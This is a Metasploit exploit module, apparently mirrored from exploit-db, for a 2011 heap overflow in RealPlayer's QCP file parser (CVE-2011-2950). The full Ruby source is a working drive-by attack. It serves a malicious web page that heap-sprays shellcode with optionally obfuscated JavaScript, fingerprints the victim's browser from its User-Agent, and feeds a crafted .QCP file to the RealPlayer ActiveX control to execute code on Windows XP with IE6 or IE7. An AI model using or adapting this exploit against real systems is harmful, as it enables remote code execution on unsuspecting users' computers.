RealNetworks Realplayer – QCP Parsing Heap Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2011-09-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17849/
  • ##
    # $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name'=> "RealNetworks Realplayer QCP Parsing Heap Overflow",
    			'Description' => %q{
    					This module exploits a heap overflow in Realplayer when handling a .QCP file.
    					The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
    					allocated on the heap and user-supplied data from the file is copied within a
    					memory copy loop.
    
    					This allows a remote attacker to execute arbitrary code running in the context
    					of the web browser via a .QCP file with a specially crafted "fmt" chunk.
    					At this moment this module exploits the flaw on Windows XP IE6, IE7.
    				},
    			'License' => MSF_LICENSE,
    			'Version' => "$Revision: 13745 $",
    			'Author'=>
    				[
    					'Sean de Regge', # Vulnerability discovery
    					'juan vazquez' # Metasploit module
    				],
    			'References' =>
    				[
    					['CVE', '2011-2950'],
    					['OSVDB', '74549'],
    					['BID', '49172'],
    					# ZDI advisory
    					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],
    					# Vendor advisory
    					['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
    					#Fix commit
    					['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
    				],
    			'Payload' =>
    				{
    					'Space' => 1024
    				},
    			'DefaultOptions' =>
    				{
    					'ExitFunction' => "process",
    					'InitialAutoRunScript' => 'migrate -f'
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Automatic', {} ],
    					[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
    					[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
    				],
    			'DisclosureDate' => "Aug 16 2011",
    			'DefaultTarget' => 0))
    
    		register_options(
    			[
    				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
    			], self.class)
    	end
    
    	def get_target(cli, request)
    		#Default target
    		my_target = target
    
    		vprint_status("User-Agent: #{request.headers['User-Agent']}")
    
    		if target.name == 'Automatic'
    			agent = request.headers['User-Agent']
    			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
    				#Windows XP + IE 6
    				my_target = targets[1]
    			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
    				#Windows XP + IE 7.0
    				my_target = targets[2]
    			elsif agent =~ /RMA/
    				#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
    				#when requesting our trigger file
    				return 'RMA'
    			else
    				#If we don't recognize the client, we don't fire the exploit
    				my_target = nil
    			end
    		end
    
    		return my_target
    	end
    
    	def exploit
    		#Set trigger file name
    		@filename = rand_text_alpha(rand(6) + 3)
    		#Create the trigger file
    		@trigger = build_trigger
    		super
    	end
    
    	def on_request_uri(cli, request)
    		#Pick the right target
    		vprint_status("Selecting target...")
    		my_target = get_target(cli, request)
    		if my_target.nil?
    			print_error("Target not supported")
    			send_not_found(cli)
    			return
    		end
    
    		vprint_status("URL: #{request.uri.to_s}")
    
    		#Send the trigger file upon request
    		if request.uri.match(/\.qcp$/)
    			print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")
    			send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
    			return
    		end
    
    		vprint_status("Building shellcode...")
    		code = Rex::Text.to_unescape(payload.encoded)
    
    		vprint_status("Building spray...")
    		spray = build_spray(my_target, code)
    
    		#obfuscate on demand
    		vprint_status("Obfuscating javascript...")
    		if datastore['OBFUSCATE']
    			spray = Rex::Exploitation::JSObfu.new(spray)
    			spray.obfuscate
    		end
    
    		vprint_status("Building html...")
    		#Value for the 'Src' parameter of our ActiveX control
    		trigger_file = ""
    		if ("/" == get_resource[-1,1])
    			trigger_file = get_resource[0, get_resource.length - 1]
    		else
    			trigger_file = get_resource
    		end
    		trigger_file << "/#{@filename}.qcp"
    
    
    		html = <<-EOS
    		<HTML>
    		<HEAD>
    		</HEAD>
    		<BODY>
    		<script language='javascript'>
    		#{spray}
    		</script>
    		<OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
    		<PARAM NAME="SRC" VALUE="#{trigger_file}">
    		<PARAM NAME="CONTROLS" VALUE="ImageWindow">
    		<PARAM NAME="CONSOLE" VALUE="one">
    		<PARAM NAME="AUTOSTART" VALUE="true">
    		<EMBED SRC="https://www.exploit-db.com/exploits/17849/#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
    		</OBJECT>
    		</BODY>
    		EOS
    
    		print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
    		send_response( cli, html, {'Content-Type' => 'text/html'} )
    	end
    
    	def build_trigger()
    		overflow_size = 700
    		overflow_string = "\x11" * 700
    
    		#riff_mark
    		trigger = "\x52\x49\x46\x46"
    		#total_size
    		trigger << [0xed44 + overflow_size].pack("V")
    		#qlcm_tag
    		trigger << "\x51\x4c\x43\x4d"
    		#fmt_tag
    		trigger << "\x66\x6d\x74\x20"
    		#fmt_size
    		trigger << [0x96 + overflow_size].pack("V")
    		#fmt_content
    		trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
    		trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
    		trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
    		trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
    		trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
    		trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
    		trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
    		trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
    		trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
    		trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
    		trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
    		trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
    		trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
    		trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
    		trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
    		trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
    		trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
    		trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
    		trigger << "\x00\x00\x00\x00\x00\x00"
    		trigger << overflow_string
    		#vrat_tag
    		trigger << "\x76\x72\x61\x74"
    		#vrat_size
    		trigger << [0x8].pack("V")
    		#vrat_content
    		trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
    		#data_tag
    		trigger << "\x64\x61\x74\x61"
    		#data_size
    		trigger << [0xec8a].pack("V")
    		#data_content
    		trigger << rand_text_alpha(0xec8a)
    		return trigger
    	end
    
    	def build_spray(mytarget, code)
    		spray = <<-JS
    		var heap_obj = new heapLib.ie(0x20000);
    
    		var code = unescape("#{code}");
    		var nops = unescape("#{mytarget['Nops']}");
    
    		while (nops.length < 0x10000) nops += nops;
    		offset = nops.substring(0, 0x7BE0);
    		var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);
    
    		while (shellcode.length < 0x20000) shellcode += shellcode;
    		block = shellcode.substring(0, (0x10000-6)/2);
    
    		heap_obj.gc();
    
    		for (var i=0; i < 0x1400; i++) {
    			heap_obj.alloc(block);
    		}
    		JS
    
    		spray = heaplib(spray)
    		return spray
    	end
    
    end